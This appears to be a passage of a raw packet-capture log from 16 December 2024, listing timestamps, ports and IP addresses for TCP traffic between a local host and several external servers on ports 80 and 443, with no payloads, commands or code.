Dec 16, 2024 13:16:40.816117048 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.816186905 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.817218065 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.817282915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.817286968 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.817329884 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.818391085 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.818456888 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.818543911 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.818671942 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.819565058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.819623947 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.819664955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.819708109 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.820774078 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.820827007 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.820858955 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.820899963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.821964979 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.822015047 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.822052002 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.822158098 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.823106050 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.823159933 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.823191881 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.823462009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.824395895 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.824440956 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.824457884 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.824503899 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.825490952 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.825612068 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.825684071 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.826735020 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.826797009 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.826845884 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.826899052 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.827912092 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.827966928 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.828002930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.828042030 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.829098940 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.829149961 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.829190969 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.829232931 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.830383062 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.830441952 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.830471039 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:40.830513000 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:40.852489948 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:40.852567911 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:40.865874052 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:40.865915060 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:40.866285086 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:40.867485046 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:40.867697954 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:40.867732048 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:41.613306999 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:41.613475084 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:41.613594055 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:41.646378994 CET	49778	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:41.646435022 CET	443	49778	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:41.989546061 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:41.989608049 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:41.989691019 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:41.992449045 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:41.992476940 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.208991051 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.209119081 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:43.210288048 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:43.210299969 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.210535049 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.211729050 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:43.211877108 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:43.211903095 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.211967945 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:43.211973906 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.443152905 CET	49764	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:43.443592072 CET	49789	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:43.563618898 CET	80	49789	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:43.563694954 CET	49789	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:43.564084053 CET	80	49764	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:43.564132929 CET	49764	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:43.570254087 CET	49789	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:43.691407919 CET	80	49789	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:43.958857059 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.958954096 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:43.959404945 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:44.136781931 CET	49784	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:44.136821032 CET	443	49784	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:44.901720047 CET	80	49789	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:44.901778936 CET	49789	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:44.910345078 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:44.910634041 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:44.930665016 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:44.932945967 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:44.932980061 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:44.933108091 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:44.933374882 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:44.933388948 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:45.030447960 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:45.030530930 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:45.030623913 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:45.030690908 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:45.030834913 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:45.050462961 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:45.050555944 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:45.050756931 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:45.150516987 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:45.170581102 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:46.151593924 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:46.151731014 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:46.153318882 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:46.153331995 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:46.153690100 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:46.156687021 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:46.156836987 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:46.156872034 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:46.157844067 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:46.157852888 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:46.364062071 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364165068 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.364202023 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364228010 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364239931 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364250898 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364263058 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364275932 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364289045 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364308119 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.364330053 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.364475012 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364495993 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.364537954 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.383563042 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:46.383666039 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:46.385972977 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:46.486038923 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.486059904 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.486644983 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.507570982 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:46.558130026 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.558233976 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.558316946 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.561347008 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.561362028 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.561417103 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.561471939 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.570956945 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.570997000 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.571041107 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.571098089 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.579339981 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.579410076 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.579641104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.580073118 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.587758064 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.587836027 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.587914944 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.588186979 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.596012115 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.596112013 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.596165895 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.596508980 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.602570057 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.602658033 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.602730036 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.611027956 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.611097097 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.611114979 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.611165047 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.619411945 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.619491100 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.619545937 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.620160103 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.628196001 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.628213882 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.628329992 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.628329992 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.635564089 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.635582924 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.635644913 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.635687113 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.678272963 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.678397894 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.748416901 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.748507023 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.748513937 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.748564005 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.750917912 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.751023054 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.751084089 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.755930901 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.756031990 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.756118059 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.761058092 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.761132002 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.761152029 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.761199951 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.766022921 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.766083956 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.766114950 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.766140938 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.770978928 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.770993948 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.771049976 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.775832891 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.775930882 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.775991917 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.780512094 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.780631065 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.780643940 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.780715942 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.785342932 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.785397053 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.785401106 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.786120892 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.790158033 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.790283918 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.790333986 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.794984102 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.795222044 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.795665979 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.799714088 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.799818993 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.799846888 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.799942970 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.804595947 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.804646969 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.804657936 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.804696083 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.809437990 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.809494019 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.809533119 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.809834003 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.813436031 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.813513041 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.813576937 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.817532063 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.817568064 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.818114042 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.844058990 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:46.844130039 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:46.845556021 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:46.940718889 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.940742970 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.940789938 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.940848112 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.942265034 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.942281961 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.942898989 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.945319891 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.945389032 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.946408033 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.946566105 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.946611881 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.949449062 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.949520111 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.949609995 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.949750900 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.953185081 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.953284025 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.953350067 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.953413963 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.955585957 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.955635071 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.955773115 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.955822945 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.958549023 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.958659887 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.958679914 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.958764076 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.961595058 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.961646080 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.961709023 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.961849928 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.964533091 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.964592934 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.964653015 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.964704990 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.965272903 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:46.967612982 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.967701912 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.967736959 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.967771053 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.971168995 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.971187115 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.971261024 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.974004030 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.974020004 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.974092960 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.976923943 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.977021933 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.977067947 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.977957010 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.979876041 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.979954004 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.979957104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.982112885 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.982908964 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.982975006 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.983022928 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.986035109 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.986102104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.986104965 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.989048958 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.989109039 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.989123106 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.990113020 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.992064953 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.992208958 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.992269039 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.995161057 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.995230913 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.995281935 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:46.998210907 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.998306036 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:46.998356104 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.001272917 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.001332998 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.001389980 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.004283905 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.004379034 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.004432917 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.007366896 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.007564068 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.007632017 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.010458946 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.010576010 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.010627985 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.013467073 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.013500929 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.013556957 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.016483068 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.018131971 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.059294939 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:47.059398890 CET	443	49797	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:47.059689045 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:47.083940983 CET	49797	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:47.083981037 CET	443	49797	172.67.164.37	192.168.2.8
